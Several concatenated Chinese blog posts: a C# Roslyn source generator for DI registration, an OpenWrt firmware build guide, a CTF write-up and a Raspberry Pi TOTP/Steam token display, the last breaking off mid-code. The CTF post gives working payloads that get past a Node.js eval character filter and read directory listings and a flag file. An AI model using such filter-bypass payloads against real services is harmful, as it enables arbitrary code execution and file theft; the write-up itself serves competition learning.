前言 完整项目地址: https://github.com/chr233/XinjingdailyBot 因为项目之前是使用运行时反射来完成服务的动态注册，而源生成器是在编译前完成代码生成并参与编译，完全没有运行时的性能开销 运行时反射 - 旧的方案 标记特性 首先创建一个 Attribute, 用来标注需要扫描的服务类 namespace XinjingdailyBot.Infrastructure.Attribute; /// /// 标记服务 /// 1、如果服务是本身 直接在类上使用[AppService] /// 2、如果服务是接口 在类上使用 [AppService(ServiceType = typeof(实现接口))] /// [AttributeUsage(AttributeTargets.Class, Inherited = false)] public sealed class AppServiceAttribute : System.Attribute { /// /// 服务声明周期 /// 不给默认值的话注册的是AddSingleton /// public LifeTime ServiceLifetime { get; set; } = LifeTime.Scoped; /// /// 指定服务类型 /// public Type? ServiceType { get; set; } /// /// 是否可以从第一个接口获取服务类型 /// public bool InterfaceServiceType { get; set; } /// /// 标记服务 /// /// public AppServiceAttribute(LifeTime serviceLifetime) { ServiceLifetime = serviceLifetime; } /// /// 标记服务 /// /// /// public AppServiceAttribute(Type? serviceType, LifeTime serviceLifetime) { ServiceLifetime = serviceLifetime; ServiceType = serviceType; } /// /// 标记服务 /// /// /// /// public AppServiceAttribute(Type? serviceType, LifeTime serviceLifetime, bool interfaceServiceType) { ServiceLifetime = serviceLifetime; ServiceType = serviceType; InterfaceServiceType = interfaceServiceType; } } /// /// 生命周期 /// public enum LifeTime { /// /// 瞬时 /// Transient, /// /// 范围 /// Scoped, /// /// 单例 /// Singleton } 基于反射的服务扫描器 然后再主项目启动的时候使用反射扫描添加了该 Attribute 的所有 Class 并注册服务 using System.Diagnostics.CodeAnalysis; using System.Reflection; using XinjingdailyBot.Infrastructure.Attribute; namespace XinjingdailyBot.WebAPI.Extensions; /// /// 动态注册服务扩展 /// public static class AppServiceExtensions { private static readonly NLog.Logger _logger = NLog.LogManager.GetCurrentClassLogger(); /// /// 注册引用程序域中所有有AppService标记的类的服务 /// /// [RequiresUnreferencedCode("不兼容剪裁")] public static void AddAppService(this IServiceCollection services) { var cls = new string[] { "XinjingdailyBot.Repository", "XinjingdailyBot.Service", "XinjingdailyBot.Command", "XinjingdailyBot.WebAPI", }; foreach (var item in cls) { var assembly = Assembly.Load(item); Register(services, assembly); } } /// /// 动态注册服务 /// /// /// [RequiresUnreferencedCode("不兼容剪裁")] private static void Register(IServiceCollection services, Assembly assembly) { string? name = assembly.GetName().Name; _logger.Debug($"===== 注册 {name} 中的服务 ====="); uint count = 0; foreach (var type in assembly.GetTypes()) { var serviceAttribute = type.GetCustomAttribute<AppServiceAttribute>(); if (serviceAttribute != null) { count++; var serviceType = serviceAttribute.ServiceType; //情况1 适用于依赖抽象编程，注意这里只获取第一个 if (serviceType == null && serviceAttribute.InterfaceServiceType) { serviceType = type.GetInterfaces().FirstOrDefault(); } //情况2 不常见特殊情况下才会指定ServiceType，写起来麻烦 if (serviceType == null) { serviceType = type; } var lifetime = serviceAttribute.ServiceLifetime; switch (lifetime) { case LifeTime.Singleton: services.AddSingleton(serviceType, type); break; case LifeTime.Scoped: services.AddScoped(serviceType, type); break; case LifeTime.Transient: services.AddTransient(serviceType, type); break; default: services.AddTransient(serviceType, type); break; } _logger.Debug($"{lifetime} - {serviceType}"); } } _logger.Debug($"===== 注册了 {count} 个服务 ====="); } } 也不是不能用，就是感觉不够完美，而且因为使用了反射的相关特性，无法简单地启用程序集裁剪和应用 AOT，所有就想到利用 .Net 5.0 新加入的源生成器特性来实现相同的功能，避免使用反射特性和降低运行时的额外开销 源生成器 - 新的方案 源生成器官方文档 因为我的项目是按照命名空间分成了几个子项目，而源生成器只能分析当前项目的语法树，如果用文件 IO 的方式读取本地 .cs 文件也是可以实现的，但是会显示警告，因为官方并不推荐在源生成器中使用文件 IO，这会降低编译速度，而且服务类也不是经常新增，每次编译都扫描一遍也是完全没必要的 综上，我的解决方案是写一个 Powershell 脚本来扫描解决方案中的所有服务，并保存到一个文件中，然后在源生成器中读取该文件来生成服务注册的代码 服务扫描脚本 首先是服务扫描脚本 scan_service.ps1 # # @Author : Chr_ # @Date : 2024-01-18 14:25:15 # @LastEditors : Chr_ # @LastEditTime : 2024-01-18 20:15:18 # @Description : 生成依赖服务信息 # # 工作目录 $workDir = (Get-Location).Path; $outputPath = Join-Path -Path (Join-Path -Path $workDir -ChildPath "XinjingdailyBot.WebAPI") -ChildPath "Properties"; # 包名列表 $libNames = "XinjingdailyBot.Model", "XinjingdailyBot.Repository", "XinjingdailyBot.Interface", "XinjingdailyBot.Service", "XinjingdailyBot.Tasks", "XinjingdailyBot.Command"; # 输出路径 $appServicePath = Join-Path -Path $outputPath -ChildPath "appService.json"; # 扫描源文件列表 function GetSourceFileList { param ( [string]$Path ) $result = @(); # 去除 bin obj 目录 $dirs = Get-ChildItem -Path $Path -Directory -Exclude "bin", "obj" # 遍历所有 .cs 文件 foreach ($dir in $dirs) { $files = Get-ChildItem -Path $dir -Filter "*.cs" -File -Recurse # 遍历子目录文件 foreach ($file in $files) { $result += $file } } $files = Get-ChildItem -Path $Path -Filter "*.cs" -File # 遍历所有 .cs 文件 foreach ($file in $files) { $result += $file } Write-Output $result $result; } # 读取命名空间 function GetNamespace { param ( [string] $Content ) if ($Content -match "namespace\s+([^;{]+)") { $Matches[1]; } } # 读取类名/接口名 function GetClassName { param ( [string] $Content ) if ($Content -match "(?:class|interface|record)\s+([^({:\s]+)") { $Matches[1]; } } # 扫描AppServiceAttribute function ScanAppServiceAttribute { param ( [string] $Content ) if ($Content -match "\[AppService(?:Attribute)?\(([^\]]+)\)\]") { $result = @{} $arguments = $Matches[1].Split(","); foreach ($argument in $arguments) { if ($argument -match "LifeTime\.(Singleton|Transient|Scoped)") { $result["LifeTime"] = $Matches[1]; } elseif ($argument -match "typeof\(([^()]+)\)") { $result["Interface"] = $Matches[1]; } elseif ($argument -match "true|false") { $result["AutoInterface"] = $Matches[1]; } else { Write-Output $argument; } } $result; } } # 类全名表 $clsNamespaces = @{}; $appServiceAttributes = @{}; foreach ($libName in $libNames) { # 库文件路径 $libPath = Join-Path -Path $workDir -ChildPath $libName; # 获取所有源文件路径 $filePaths = GetSourceFileList -Path $libPath; # 读取Service信息和类命名空间; foreach ($filePath in $filePaths) { $fileContent = Get-Content -Path $filePath.FullName -Raw; $namespace = GetNameSpace -Content $fileContent; if ($null -eq $namespace -or $namespace -eq "" ) { continue; } $clsName = GetClassName -Content $fileContent; if ($null -eq $namespace -or $namespace -eq "" ) { continue; } $clsNamespaces[$clsName] = $namespace; $appService = ScanAppServiceAttribute -Content $fileContent; if ($null -ne $appService) { $appServiceAttributes[$clsName] = $appService; } } } $services = $appServiceAttributes.Clone(); # 生成服务信息 foreach ($service in $services.Keys) { $serviceInfo = $appServiceAttributes[$service]; $namespace = $clsNamespaces[$service]; $serviceInfo["Class"] = "$namespace.$service"; $interface = $serviceInfo["Interface"]; if ($null -ne $interface) { $ns = $clsNamespaces[$interface]; $serviceInfo["Interface"] = "$ns.$interface"; } $appServiceAttributes[$service] = $serviceInfo; } Write-Output "扫描到 $($appServiceAttributes.Count) 个服务"; $appServiceAttributes | ConvertTo-Json | Out-File -FilePath $appServicePath Write-Output "文件保存至 $appServicePath" 这个脚本的功能是遍历定义的子项目文件，然后扫描所有类和接口，以及所有带有 AppServiceAttribute 特性的服务类，最后生成一个 appService.json 运行脚本生成文件以后记得修改文件生成操作，不然在分析器里这个文件是不可见的 创建源生成器 跟创建类库一样，但是需要编辑 .csproj 文件，完整文件如下 netstandard2.0 <EnforceExtendedAnalyzerRules>true</EnforceExtendedAnalyzerRules> true <GetTargetPathDependsOn>$(GetTargetPathDependsOn);GetDependencyTargetPaths</GetTargetPathDependsOn> CS1570;CS1587 <None Include="..\.editorconfig" Link=".editorconfig" /> all runtime; build; native; contentfiles; analyzers; buildtransitive all all true all True True Templates.resx ResXFileCodeGenerator Templates.Designer.cs <None Include="$(OutputPath)\$(AssemblyName).dll" Pack="true" PackagePath="analyzers/dotnet/cs" Visible="false" /> <TargetPathWithTargetPlatformMoniker Include="$(PKGNewtonsoft_Json)\lib\netstandard2.0\Newtonsoft.Json.dll" IncludeRuntimeDependency="false" /> 我所做的修改如下 将目标框架改为 netstandard2.0，目前源生成器必须用该版本 添加 EnforceExtendedAnalyzerRules 和 IsRoslynComponent 项，第一个是排除别的分析器，第二个是定义该项目是 Roslyn 组件，添加了以后会有额外的调试配置 添加 GetTargetPathDependsOn 项，意思是从定义的路径中寻找依赖库 添加 Microsoft.CodeAnalysis.Analyzers 和 Microsoft.CodeAnalysis.Common 和 Microsoft.CodeAnalysis.CSharp 库，原样从微软文档拷来的，生成器必须的依赖 添加 Newtonsoft.Json 库（可选），我使用了 Newtonsoft.Json 作为 Json 反序列化库，因此还需要额外配置引用信息（因为源生成器相当于是编译期的扩展，如果不做额外处理会报找不到Dll的错），需要在下面定义 <None Include="$(OutputPath)\$(AssemblyName).dll" Pack="true" PackagePath="analyzers/dotnet/cs" Visible="false" /> <TargetPathWithTargetPlatformMoniker Include="$(PKGNewtonsoft_Json)\lib\netstandard2.0\Newtonsoft.Json.dll" IncludeRuntimeDependency="false" /> 然后再主项目中添加项目引用，并修改引用的属性，将被引用项目类型改成分析器，然后排除所有的生成资产 Analyzer <ReferenceOutputAssembly>false</ReferenceOutputAssembly> 服务注册源生成器 代码模板存放在 Templates.resx 中，内容如图 可以根据输出的结果反推 using Microsoft.CodeAnalysis; using Microsoft.CodeAnalysis.Text; using Newtonsoft.Json; using System.Text; using XinjingdailyBot.Generator.Data; namespace XinjingdailyBot.Generator; [Generator] internal sealed class AppServiceGenerator : ISourceGenerator { const string InputFileName = "appService.json"; const string OutoutFileName = "GeneratedAppServiceExtensions.g.cs"; /// <inheritdoc/> public void Initialize(GeneratorInitializationContext context) { // 无需处理 } /// <inheritdoc/> public void Execute(GeneratorExecutionContext context) { try { var fileText = context.AdditionalFiles.Where(static x => x.Path.EndsWith(InputFileName)).FirstOrDefault() ?? throw new FileNotFoundException("缺少配置文件, 请使用 scan_service.ps1 生成"); ProcessSettingsFile(fileText, context); } catch (Exception e) { context.ReportDiagnostic( Diagnostic.Create( "XJB_01", nameof(AppServiceGenerator), $"生成注入代码失败，{e.Message}", defaultSeverity: DiagnosticSeverity.Error, severity: DiagnosticSeverity.Error, isEnabledByDefault: true, warningLevel: 0)); } } /// /// 生成文件 /// /// /// private void ProcessSettingsFile(AdditionalText xmlFile, GeneratorExecutionContext context) { var text = xmlFile.GetText(context.CancellationToken)?.ToString() ?? throw new FileLoadException("文件读取失败"); var json = JsonConvert.DeserializeObject<AppServiceData>(text) ?? throw new FileLoadException("文件读取失败"); var sb = new StringBuilder(); sb.AppendLine(Templates.AppServiceHeader); foreach (var kv in json) { var entry = kv.Value; var lifeTime = entry.LifeTime?.ToLowerInvariant() switch { "singleton" or "scoped" or "transient" => entry.LifeTime, _ => null, }; if (string.IsNullOrEmpty(lifeTime)) { continue; } if (!string.IsNullOrEmpty(entry.Class)) { if (string.IsNullOrEmpty(entry.Interface)) { sb.AppendLine(string.Format(Templates.AppServiceContent1, lifeTime, entry.Class)); } else { sb.AppendLine(string.Format(Templates.AppServiceContent2, lifeTime, entry.Interface, entry.Class)); } } } sb.AppendLine(Templates.AppServiceFooter); context.AddSource(OutoutFileName, SourceText.From(sb.ToString(), Encoding.UTF8)); } } 生成的代码示例，为避免使用 using，这里使用完整类名引用 using Microsoft.Extensions.DependencyInjection; namespace XinjingdailyBot.WebAPI.Extensions; /// /// 动态注册服务扩展 /// public static class GeneratedAppServiceExtensions { private static readonly NLog.Logger _logger = NLog.LogManager.GetCurrentClassLogger(); /// /// 注册引用程序域中所有有AppService标记的类的服务 /// /// public static void AddAppServiceGenerated(this IServiceCollection services) { services.AddTransient<XinjingdailyBot.Repository.OldPostRepository>(); services.AddScoped<XinjingdailyBot.Interface.Bot.Common.IDispatcherService, XinjingdailyBot.Service.Bot.Common.DispatcherService>(); services.AddSingleton<XinjingdailyBot.Repository.TagRepository>(); services.AddSingleton<XinjingdailyBot.Interface.Bot.Common.IChannelService, XinjingdailyBot.Service.Bot.Common.ChannelService>(); services.AddTransient<XinjingdailyBot.Interface.Data.IAttachmentService, XinjingdailyBot.Service.Data.AttachmentService>(); services.AddScoped<XinjingdailyBot.Command.ReviewCommand>(); services.AddScoped<XinjingdailyBot.Interface.Bot.Handler.IJoinRequestHandler, XinjingdailyBot.Service.Bot.Handler.JoinRequestHandler>(); services.AddTransient<XinjingdailyBot.Interface.Data.IBanRecordService, XinjingdailyBot.Service.Data.BanRecordService>(); services.AddSingleton<XinjingdailyBot.Repository.RejectReasonRepository>(); services.AddScoped<XinjingdailyBot.Interface.Bot.Common.IUpdateService, XinjingdailyBot.Service.Bot.Common.UpdateService>(); services.AddSingleton<XinjingdailyBot.Interface.Bot.Handler.IForwardMessageHandler, XinjingdailyBot.Service.Bot.Handler.ForwardMessageHandler>(); services.AddScoped<XinjingdailyBot.Command.CommonCommand>(); services.AddSingleton<XinjingdailyBot.Repository.LevelRepository>(); services.AddSingleton<XinjingdailyBot.Interface.Bot.Handler.ICommandHandler, XinjingdailyBot.Service.Bot.Handler.CommandHandler>(); services.AddTransient<XinjingdailyBot.Interface.Data.IDialogueService, XinjingdailyBot.Service.Data.DialogueService>(); services.AddSingleton<XinjingdailyBot.Interface.Data.IPostService, XinjingdailyBot.Service.Data.PostService>(); services.AddTransient<XinjingdailyBot.Interface.Data.IChannelOptionService, XinjingdailyBot.Service.Data.ChannelOptionService>(); services.AddSingleton<XinjingdailyBot.Interface.Bot.Handler.IChannelPostHandler, XinjingdailyBot.Service.Bot.Handler.ChannelPostHandler>(); services.AddSingleton<XinjingdailyBot.Interface.Data.IUserService, XinjingdailyBot.Service.Data.UserService>(); services.AddTransient<XinjingdailyBot.Interface.Helper.IImageHelperService, XinjingdailyBot.Service.Helper.ImageHelperService>(); services.AddSingleton<XinjingdailyBot.Interface.Data.INameHistoryService, XinjingdailyBot.Service.Data.NameHistoryService>(); services.AddScoped<XinjingdailyBot.Command.NormalCommand>(); services.AddSingleton<XinjingdailyBot.Interface.Data.IMediaGroupService, XinjingdailyBot.Service.Data.MediaGroupService>(); services.AddScoped<XinjingdailyBot.Command.ObsoleteCommand>(); services.AddScoped<XinjingdailyBot.Command.PostCommand>(); services.AddTransient<XinjingdailyBot.Interface.Data.IAdvertisePostService, XinjingdailyBot.Service.Data.AdvertisePostsService>(); services.AddTransient<XinjingdailyBot.Interface.Data.IAdvertiseService, XinjingdailyBot.Service.Data.AdvertiseService>(); services.AddSingleton<XinjingdailyBot.Repository.GroupRepository>(); services.AddTransient<XinjingdailyBot.Interface.Helper.IHttpHelperService, XinjingdailyBot.Service.Helper.HttpHelperService>(); services.AddTransient<XinjingdailyBot.Interface.Helper.ITextHelperService, XinjingdailyBot.Service.Helper.TextHelperService>(); services.AddSingleton<XinjingdailyBot.Interface.Bot.Handler.IMessageHandler, XinjingdailyBot.Service.Bot.Handler.MessageHandler>(); services.AddTransient<XinjingdailyBot.Interface.Data.ICmdRecordService, XinjingdailyBot.Service.Data.CmdRecordService>(); services.AddSingleton<XinjingdailyBot.Interface.Bot.Handler.IInlineQueryHandler, XinjingdailyBot.Service.Bot.Handler.InlineQueryHandler>(); services.AddTransient<XinjingdailyBot.Repository.PostRepository>(); services.AddSingleton<XinjingdailyBot.Interface.Data.IUserTokenService, XinjingdailyBot.Service.Data.UserTokenService>(); services.AddTransient<XinjingdailyBot.Interface.Helper.IMarkupHelperService, XinjingdailyBot.Service.Helper.MarkupHelperService>(); services.AddScoped<XinjingdailyBot.Command.AdminCommand>(); services.AddScoped<XinjingdailyBot.Command.SuperCommand>(); services.AddTransient<XinjingdailyBot.Interface.Data.IReviewStatusService, XinjingdailyBot.Service.Data.ReviewStatusService>(); services.AddSingleton<XinjingdailyBot.Interface.Bot.Handler.IGroupMessageHandler, XinjingdailyBot.Service.Bot.Handler.GroupMessageHandler>(); } } 调试源生成器 首先删除源生成器项目的所有调试目标，然后新增 Roslyn Component 目标，并在右边将 Target Project 设为主项目，然后将启动项目改为生成器 然后在生成器的 Initialize 方法中开启调试器 public void Initialize(GeneratorInitializationContext context) { // 无需处理 if (!Debugger.IsAttached) { Debugger.Launch(); } } 这样就可以动态调试生成器代码了 实际使用 将启动项目改为主功能，去掉源生成器的调试代码，然后重新生成一遍解决方案，如果一切正常，将会在分析器中看到生成的代码文件 如果后续有新的服务，重新执行 scan_service.ps1 即可更新配置文件
前言 本教程基于 LEDE 项目 首先需要安装Linux虚拟机或者使用WSL虚拟环境，这里使用后者 正文 准备工作 首先自然是配置依赖环境 sudo apt -y update sudo apt -y install build-essential asciidoc binutils bzip2 gawk gettext git libncurses5-dev libz-dev patch python3 python2.7 unzip zlib1g-dev lib32gcc1 libc6-dev-i386 subversion flex uglifyjs git-core gcc-multilib p7zip p7zip-full msmtp libssl-dev texinfo libglib2.0-dev xmlto qemu-utils upx libelf-dev autoconf automake libtool autopoint device-tree-compiler g++-multilib antlr3 gperf wget curl swig rsync 因为要对LEDE固件做一些修改，所以我们需要去Folk一份源码 然后把刚刚Folk的仓库clone到本地 x> 请不要下载Zip存档，这样操作会丢失git配置，导致后续操作无法继续 # PS: 这里换成自己的仓库的地址 git clone https://github.com/chr233/lede !> 请确保处于大小写敏感的文件系统下，否则无法使用配置工具（NTFS和FAT都不行, EXT4可以） 然后使用命令就可以进入配置菜单了 make menuconfig 编译配置菜单说明（部分） Target System (Broadcom BCM27xx) #选择处理器架构 Subtarget (BCM2711 boards (64 bit)) #选择处理器 Target Profile (Raspberry Pi 4B/400/4CM (64bit)) #预制配置文件 Target Images #固件映像设置 ramdisk # 内存盘, 硬件内存充裕的话可以打开，有效提升性能 Compression # 压缩等级(none表示不压缩) Root filesystem archives #根文件系统存档类型 cpio.gz tar.gz Root filesystem images #根文件系统格式 ext4 #适用于大容量闪存,易于修改分区大小,没有恢复出厂设置的功能 squashfs #适用于小容量闪存，不可修改分区大小，有恢复出厂设置的功能 Gzip images #Gzip存档 Image Options Kernel partition size #内核分区大小，建议64M到256M，足够了 Root filesystem partition size #跟文件系统分区大小，根据闪存大小自行设定 Make /var persistent #持久化/var(开启后重启软路由/var下内容会保留) 以下设置一般无需修改 Enable experimental features by default #默认启用实验性功能 Global build settings #全局编译设置 Advanced configuration options (for developers) #高级选项(仅供开发者) Build the OpenWrt Image Builder #编译OpenWrt镜像编译器 Build the OpenWrt SDK #编译OpenWrt SDK Package the OpenWrt-based Toolchain #打包OpenWrt工具链 Image configuration #镜像选项 以下可以根据需要选择要加入的附加组件 i> M代表编译成ipk包，不内置在固件中，可以之后单独安装，*代表内置在固件中 Base system #基本组件 Administration #管理员工具 Boot Loaders #引导程序 Development #开发者工具 Extra packages #额外包 Firmware #固件工具 Fonts #字体 Kernel modules #内核模块 Languages #额外的语言(Python3,PHP,NodeJS等) Libraries #系统库 LuCI #LuCI插件(一般只需修改应用和主题) Collections #合集 Modules #模块 Applications #应用程序 Themes #主题 Protocols #协议支持 Libraries #运行库 default-settings # 默认选项(自动配置语言包) Mail #邮件 Multimedia #多媒体 Network #网络相关 Sound #音频 Utilities #各类实用软件(比如VIM) Xorg 修改完成以后，按左右方向键选中Save，按回车键保存，无需修改文件名，保存为.config即可 准备工作 为了能使用GitHub Action进行在线编译，我们需要将.config上传到自己的仓库中，可以手动上传，也可以在.gitignore中设置取消忽略 直接在.gitignore中删除/.config行即可 然后就可以使用Git进行提交了 git add .config git commit -m "update" git push 如果一切顺利，可以在自己的仓库中看到.config文件，这个就是编译配置文件了 然后切换到Actions页，点击绿色按钮启用GitHub Actions功能 然后回到仓库主页，右下角找到Release，进入Release页 点击Draft a new release创建新的Release 标题和内容可以随便填，最后点Publish release发布 然后回到Actions页，可以看到自动触发了一个workflow 然后只需要耐心等待，如果编译成功，图标会变成绿色，点进去就能下载编译好的固件了 OpenWrt_buildinfo #固件编译信息，没什么用 OpenWrt_firmware #编译好的固件本体 解压即可得到指定分区格式的镜像 如果是第一次刷入，需要刷入带factory的镜像 如果是通过网页升级，则需要上传带sysupgrade镜像 OpenWrt_package #编译好的ipk包 可以在刷入固件以后手动安装到OpenWrt中
前言 刚打完的比赛，还热乎着，难得拿了个一血，可惜之后就寄了…… 正文 题目附件为： ip: 152.136.122.197 port: 53502 protocol: http 用Chrome浏览器访问，提示错误的响应体 用FireFox可以看到返回内容为main.js的内容 main.js内容为： const readline = require('readline'); const fs = require("fs"); const path = require("path"); const banlist = Array.from(`\`"'[];,./: \t\n`); const ban = s => banlist.some(v => s.indexOf(v) !== -1); const rl = readline.createInterface({ input: process.stdin, output: process.stdout }); console.log(fs.readFileSync(path.join(__dirname, "./main.js")).toString()); rl.question(">>> ", (payload) => { if (ban(payload)) { console.log("Ban!"); } else { console.log(eval(payload)); } rl.close(); }); rl.on('close', function () { process.exit(0); }); 主要逻辑是判断传入payload里有没有这些特殊符号 ` " ' [ ] ; , . / : "空格" \t \n 研究了一小时，发现(){}+是可以用的 绕过思路如下： 用解包赋值绕过函数调用中的. // 相当于 console.log('114514') var {log} = console log('114514') 用String.fromCharCode()绕过文本中的特殊字符 //得到 '.' String.fromCharCode(46) 使用{}代码段分隔多行代码，避免使用;和任何空白符号 本地测试代码如下： const readline = require('readline'); const fs = require("fs"); const path = require("path"); const banlist = Array.from(`\`"'[];,./: \t\n`); const ban = s => banlist.some(v => s.indexOf(v) !== -1); let payload = ` ({ //payload here })() `.replace(/\s/g,''); if (ban(payload)) { console.log("Ban!"); } else { console.log(payload); console.log(eval(payload)); } process.exit(0); i PS: payload外面的 (()=>{ })() 是可以去掉的 构造payload： //等效于 console.log(fs.readdirSync("..")) ( ()=>{ { var{readdirSync} = fs } { var{from} = Array } { var{fromCharCode} = String } { var{log} = console } { log(readdirSync(fromCharCode(46)+fromCharCode(46))) } } )() 用Telnet客户端连接可以执行payload 发现flag放在../flag中，读取之： //等效于 console.log(fs.readFileSync("../flag")) ( ()=>{ { var{readFileSync} = fs } { var{from} = Array } { var{fromCharCode} = String } { var{log} = console } { log(readFileSync(fromCharCode(46)+fromCharCode(46)+fromCharCode(47)+fromCharCode(102)+fromCharCode(108)+fromCharCode(97)+fromCharCode(103))) } } )() 显示的是十六进制Hex，转一下就是Flag了
前言 总共花了4天休息时间做的小玩意，支持显示通用TOTP令牌(6位数字)和STEAM令牌(5位)，同时也是个桌面时钟。 源码获取：GitHub 令牌原理 i> 简单的介绍一下两个令牌的原理，不感兴趣的可以参考下一节 原理 令牌类似于短信验证码，是一种一次性密码OTP，核心原理很简单，服务器和用户事先约定好一个Secret，然后用户通过特殊的算法（一般用Secret + 时间戳或者计数器作为参数），得到一串字符，服务器也通过同样的算法得到一串字符，如果两者相同，那么就证明了我是我。 常见的令牌大多是基于时间的令牌TOTP，也就是用当前的时间戳作为输入，只要保证和服务端时间差不超过令牌有效期（常见的实现是30秒）就能确保通过验证。优点是令牌客户端可以不需要联网，缺点是可能因为时间差导致验证失败。 另一种实现是基于HMAC的令牌HOTP，这种令牌需要和服务器约定一个计数器，客户端刷新一次令牌，就告诉服务器，让两边的计数器同步，这样用户和服务器得到的结果才能一样，才能通过验证。缺点显而易见，就是令牌客户端需要联网。 STEAM的令牌系统类似于TOTP，也是基于时间戳的，只是算法略有区别，最明显的区别是普通TOTP计算得到的是6位数字，STEAM令牌是5位数字或字母。 x> Secret一定要保管好，千万不要向他人透露。 i> 完整代码位于utils/twofa.py TOTP详解 伪代码 #. 演示用的中间结果用【】 表示 0. 服务器和用户事先约定了一个密钥Secret，记为K【MNUHE6DXGEZDGNBVGY======】(Base32编码，也有的实现采用Base64编码） 1. 取当前时间戳/30，取整后记为C【53914423】 2. 使用C作为消息，K作为密钥，哈希方式一般为Sha-1，计算HMAC哈希值H【deb27e0ae7e70fc2d2527e6ed231967e26503f72】(16进制) 3. 取H最后一个字节的低4位，用作偏移，记为O【2】(即16进制C的最后一位) 4. 取H的第O到O+4字节【7e0ae7e7】，丢弃最高位，变为32位无符号整数，记为I【7e0ae7e7】(最高位本来就是0，所以不变) 5. 把I转成10进制数字【17602563747】，最低6位就是结果【643943】 Python实现 import hmac import hashlib from base64 import b32decode from time import time import struct def get_totp_auth_code(secret: str, t: int = None): if not t: t = int(time() / 30) key = b32decode(secret) msg = struct.pack(">Q", t) mac = hmac.new(key, msg, hashlib.sha1).digest() offset = mac[-1] & 0x0f binary = struct.unpack('>L', mac[offset:offset+4])[0] & 0x7fffffff code = str(binary)[-6:].zfill(6) return code # 演示DEMO print(get_totp_auth_code('MNUHE6DXGEZDGNBVGY======',53914423)) # 输出结果为 643943 Steam令牌详解 伪代码 #. 演示用的中间结果用【】 表示 0. 服务器和用户事先约定了一个密钥Secret，记为K【Y2hyeHcxMjM0NTY=】(Base64编码） 1. 取当前时间戳/30，先取整【53914423】，然后转换成8字节，前方补0，记为C【000000000336ab37】(16进制) 2. 使用C作为消息，K作为密钥，哈希方式一般为Sha-1，计算HMAC哈希值H【deb27e0ae7e70fc2d2527e6ed231967e26503f72】(16进制) 3. 取H最后一个字节的低4位，用作偏移，记为O【2】(即16进制C的最后一位) 4. 取H的第O到O+4字节【7e0ae7e7】，丢弃最高位，变为32位无符号整数，记为I【7e0ae7e7】(最高位本来就是0，所以不变)，为了方便计算转成10进制为【2114643943】 5. 创建一个字母表G【23456789BCDFGHJKMNPQRTVWXY】(去掉了一些容易混淆的字符) 6. 用I【2114643943】对26取余，记为M【9】，然后将I整除26，重复5次，得到5个M【9,13,7,12,25】(10进制) 7. 把5个M作为下标，从G中取出对应位置的字符，最后拼接起来就是结果【CH9GY】 i> 两个算法0~4步都是一模一样的，只是steam的算法多了一步处理过程 Python实现 import hmac import hashlib from base64 import b64decode from time import time import struct def get_steam_auth_code(secret: str, t: int = None) -> str: if not t: t = int(time()/30) msg = struct.pack(">Q", t) key = b64decode(secret) mac = hmac.new(key, msg, hashlib.sha1).digest() offset = mac[-1] & 0x0f binary = struct.unpack('>L', mac[offset:offset+4])[0] & 0x7fffffff codestr = list('23456789BCDFGHJKMNPQRTVWXY') chars = [] for _ in range(5): chars.append(codestr[binary % 26]) binary //= 26 code = ''.join(chars) return code # 演示DEMO print(get_steam_auth_code('Y2hyeHcxMjM0NTY=',53914423)) # 输出结果为 CH9GY 屏幕显示 i> 我使用的是微雪的2.7寸墨水屏，也可以使用别的尺寸的屏幕，自行修改图片生成函数进行适配即可。 买屏幕的时候直接买适配树莓派的就行了，基本上都提供Python的驱动，直接用就行，非常方便。 !> 常见的屏幕一般是SPI接口，树莓派默认是不开启SPI接口的，可以使用官方的工具rasbpi-config开启，或者手动编辑/boot/config.txt，在最后一行加一个dtparam=spi=on，重启后生效。 img.py i> 如果对PIL绘图不是很熟悉可以看下一节。 ''' # @Author : Chr_ # @Date : 2021-03-30 17:04:24 # @LastEditors : Chr_ # @LastEditTime : 2021-04-03 00:26:15 # @Description : 图片生成器 ''' import time from os import path from typing import List, Tuple from PIL import Image, ImageDraw, ImageFont SCREEN_W = 264 # 屏幕显示宽度 SCREEN_H = 176 # 屏幕显示高度 CODE_W = 115 # 中间区域宽度 CODE_H = 27 # 中间区域一条令牌的高度 ICON_W = 20 # 左边图标区域宽度 ICON_H = 44 # 左边图标区域一个图标的高度(包含空白) CLOCK_W = SCREEN_W-ICON_W - CODE_W CLOCK_H = SCREEN_H FONT_CODE = ImageFont.truetype(path.join('font', 'Courier Prime Code.ttf'), 25) # 令牌字体 FONT_TAG = ImageFont.truetype(path.join('font', 'CascadiaMono.ttf'), 12) # 令牌名称的字体 FONT_PAGE = ImageFont.truetype( path.join('font', 'sarasa-fixed-sc-regular.ttf'), 15) # 页码字体 FONT_ICO = ImageFont.truetype( path.join('font', 'sarasa-fixed-sc-regular.ttf'), 22) # 图标区域的字体 FONT_CLOCK = ImageFont.truetype(path.join('font', 'hartland.ttf'), 50) # 时钟字体 FONT_DATE = ImageFont.truetype(path.join('font', 'hartland.ttf'), 23) # 日期字体 FONT_TIPS = ImageFont.truetype( path.join('font', 'sarasa-fixed-sc-regular.ttf'), 13) # 日期下方文字的字体 def generate_2fa_img(data: List[Tuple[str, str]], page: Tuple[int, int] = (1, 1), active: bool = True, tips: List[str] = None) -> Image: def draw_icon() -> Image: '''绘制图标''' img = Image.new('L', (ICON_W, SCREEN_H), 0xff) w, h = FONT_ICO.getsize('▲') draw = ImageDraw.Draw(img) ICO_TXT = ['▲', '▼', '●', '■'] if active else ['△', '▽', '○', '□'] for i in range(4): x, y = (ICON_W-w)/2+1, i*44+(44-h)/2 draw.text((x, y), ICO_TXT[i], font=FONT_ICO, fill=0x00) return img def draw_auth() -> Image: '''绘制令牌''' def draw_auth_single(name: str, code: str) -> Image: '''绘制单个令牌''' # 计算尺寸 w1, h1 = FONT_CODE.getsize(code) w2, h2 = FONT_TAG.getsize(name[:3]) W2, H2 = CODE_H, 18 W1, H1 = CODE_W-H2, CODE_H # 画令牌 im_code = Image.new('L', (CODE_W, CODE_H), 0xff) draw_code = ImageDraw.Draw(im_code) draw_code.text(((W1-w1)/2, (H1-h1)/2), code, font=FONT_CODE, fill=0x00) # 画名称 im_name = Image.new('L', (W2, H2), 0xff) draw_name = ImageDraw.Draw(im_name) draw_name.text(((W2-w2)/2, (H2-h2)/2-2), name[:3], font=FONT_TAG, fill=0x00) draw_name.line(((0, 0), (W2, 0)), fill=0x00, width=1) im_name = im_name.rotate(angle=90, expand=True) im_code.paste(im_name, (W1, 0)) draw_code.rectangle((0, 0, CODE_W-1, CODE_H), outline=0) return im_code def draw_page_info() -> Image: '''绘制页码''' PAGE_H = SCREEN_H-6*CODE_H+2 im_page = Image.new('L', (CODE_W, PAGE_H), 0xff) draw = ImageDraw.Draw(im_page) draw.rectangle((0, 0, CODE_W-1, 